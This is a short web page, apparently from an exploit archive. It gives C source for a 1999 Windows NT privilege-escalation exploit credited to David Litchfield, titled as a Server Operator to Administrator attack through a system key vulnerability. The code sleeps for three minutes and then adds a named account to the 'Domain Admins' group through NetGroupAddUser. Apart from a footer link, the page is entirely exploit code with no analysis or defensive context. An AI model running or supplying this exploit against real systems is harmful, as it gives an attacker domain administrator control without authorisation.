|
NT Server Operator to Administrator Privilege Escalation: System Key Vulnerability
/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */ /* Compile with eg Visual C++ and link with netapi32.lib */ #define UNICODE #include <windows.h> #include <wchar.h> #include <lmaccess.h> #include <winbase.h> int __cdecl wmain (void) { LPWSTR group = L"Domain Admins"; LPWSTR acc = L"acc_name"; NET_API_STATUS nas=0; _sleep(180000); if( (nas=NetGroupAddUser(NULL, group, acc)) == 0) { wprintf(L"Success"); return 0; } return 0; } |
|
Privacy Statement |